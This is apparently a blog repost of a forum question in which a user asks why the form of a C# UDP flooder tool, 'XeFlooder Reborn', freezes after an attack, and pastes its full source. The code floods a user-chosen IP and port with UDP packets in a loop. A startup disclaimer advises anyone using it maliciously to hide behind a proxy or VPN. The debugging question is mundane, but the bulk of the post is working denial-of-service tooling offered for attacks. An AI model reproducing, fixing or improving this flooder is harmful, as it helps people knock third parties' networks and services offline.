Monday, 9 September 2013

Form freezes after UDP flood

Form freezes after UDP flood

pI am working on a UDP Flooder and after the attack has finished the form
freezes.../p pSo how it works is I have the button that calls the method
startUDP with the intent of attacking a target (which it does) and I
created a check inside the method to check if the attack is over and if it
is to stop the while loop. Unfortunately this does not stop the program
from freezing ://p pAny help is appreciated!/p pHere is my code so far:/p
precodeusing System; using System.Collections.Generic; using
System.ComponentModel; using System.Data; using System.Drawing; using
System.Text; using System.IO; using System.Net; using System.Net.Sockets;
using System.Net.NetworkInformation; using System.Threading; using
System.Windows.Forms; using ComponentFactory.Krypton.Toolkit; namespace
XeFlooder_Reborn { public partial class Form1 :
ComponentFactory.Krypton.Toolkit.KryptonForm { int packets; int
totalPackets; public Form1() { InitializeComponent(); } private void
udp_start_Click(object sender, EventArgs e) { DebugLabel.Text = Debugging
Label - Resetting Packet Count 0/2...; //Thread.Sleep(100); packets = 0;
DebugLabel.Text = Debugging Label - Resetting Packet Count 1/2...;
//Thread.Sleep(100); totalPackets = Convert.ToInt32(udp_packets.Value);
DebugLabel.Text = Debugging Label - Resetting Packet Count 2/2...;
//Thread.Sleep(100); DebugLabel.Text = Debugging Label - Calling attack
method...; //Thread.Sleep(100); startUDP(true); } private void
startUDP(bool attacking) { while(attacking) { DebugLabel.Text = Debugging
Label - Checking attack status...; //Thread.Sleep(100); if (packets lt;
totalPackets) { DebugLabel.Text = Debugging Label - Initiating Flood...;
//Thread.Sleep(500); //UDP Packet being sent to target DebugLabel.Text =
Debugging Label - Creating packet that will be sent to target...;
//Thread.Sleep(100); byte[] packet =
ASCIIEncoding.ASCII.GetBytes(lt;XeFlooder Reborn 1.0gt;); DebugLabel.Text
= Debugging Label - Packet creation successful...; //Thread.Sleep(100);
//Assign Target End Point DebugLabel.Text = Debugging Label - Assigning
end point based on IP and Port combination...; //Thread.Sleep(100);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text),
Convert.ToInt32(udp_port.Value)); DebugLabel.Text = Debugging Label - End
Point creation successful...; //Socket used to flood client
//Thread.Sleep(100); DebugLabel.Text = Debugging Label - Creating
Socket...; Socket target = new Socket(AddressFamily.InterNetwork,
SocketType.Dgram, ProtocolType.Udp); //Thread.Sleep(100); DebugLabel.Text
= Debugging Label - Socket creation successful!; //Increase counted
packets by 1 packets++; DebugLabel.Text = Debugging Label - Sending target
the packet...; //Send packet to target target.SendTo(packet, ep);
DebugLabel.Text = Debugging Label - Flood finished...; //Update Progress
Trackers udp_progress_bar.Maximum = totalPackets; udp_progress_bar.Value =
packets; udp_progress_text.Text = Progress: + Convert.ToString(packets) +
/ + Convert.ToString(totalPackets); //Check if we have reached flood limit
(if attack is over) if (attacking amp;amp; udp_progress_bar.Value ==
udp_progress_bar.Maximum) { //Let the user know our attack is finished
MessageBox.Show(Successful UDP Flood Finished!); //Reset packet count
packets = 0; totalPackets = 0; //Turn off attack loop attacking = false; }
} } while (!attacking) { DebugLabel.Text = Debugging Label - Waiting for
command...; } } private string GetMacAddress() { string macAddresses =
string.Empty; foreach (NetworkInterface nic in
NetworkInterface.GetAllNetworkInterfaces()) { if (nic.OperationalStatus ==
OperationalStatus.Up) { macAddresses +=
nic.GetPhysicalAddress().ToString(); break; } } return macAddresses; }
private void Form1_Load(object sender, EventArgs e) { MessageBox.Show(The
developers of XeFlooder (Reborn) are not responsible for what you do with
this program, it was made for stress testing. If you choose to use this
program for malicious purposes please do so while using a Proxy or a VPN.
Enjoy..., DISCLAIMER!); if (NetworkInterface.GetIsNetworkAvailable() !=
true) { MessageBox.Show(You need to be connected to the internet to use
this program...\nNow exiting...); this.Close(); } WebRequest request =
WebRequest.Create(http://icanhazip.com/); WebResponse response =
request.GetResponse(); System.IO.StreamReader sr = new
System.IO.StreamReader(response.GetResponseStream()); string IP =
sr.ReadToEnd(); IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
info.Items.Add(Public IP Address: + IP); foreach (IPAddress ip in
host.AddressList) { if (ip.AddressFamily.ToString() == InterNetwork) {
info.Items.Add(IPv4 Address: + ip.ToString()); } } info.Items.Add(Link
Local Address: + IPAddress.Broadcast); info.Items.Add(Machine Name: +
Dns.GetHostName()); info.Items.Add(MAC Address: + GetMacAddress()); } } }
/code/pre

No comments:

Post a Comment